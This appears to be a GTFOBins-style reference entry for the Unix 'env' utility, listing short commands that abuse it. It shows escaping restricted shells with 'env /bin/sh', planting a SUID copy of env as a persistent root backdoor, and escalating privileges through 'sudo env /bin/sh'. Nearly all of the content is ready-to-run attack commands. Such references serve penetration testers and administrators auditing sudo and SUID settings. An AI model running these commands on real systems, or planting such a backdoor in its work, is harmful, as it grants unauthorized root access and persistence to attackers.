It can be used to break out from restricted environments by spawning an interactive system shell.
env /bin/sh
It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run sh -p
, omit the -p
argument on systems like Debian (<= Stretch) that allow the default sh
shell to run with SUID privileges.
sudo sh -c 'cp $(which env) .; chmod +s ./env'
./env /bin/sh -p
It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on sudo
.
sudo env /bin/sh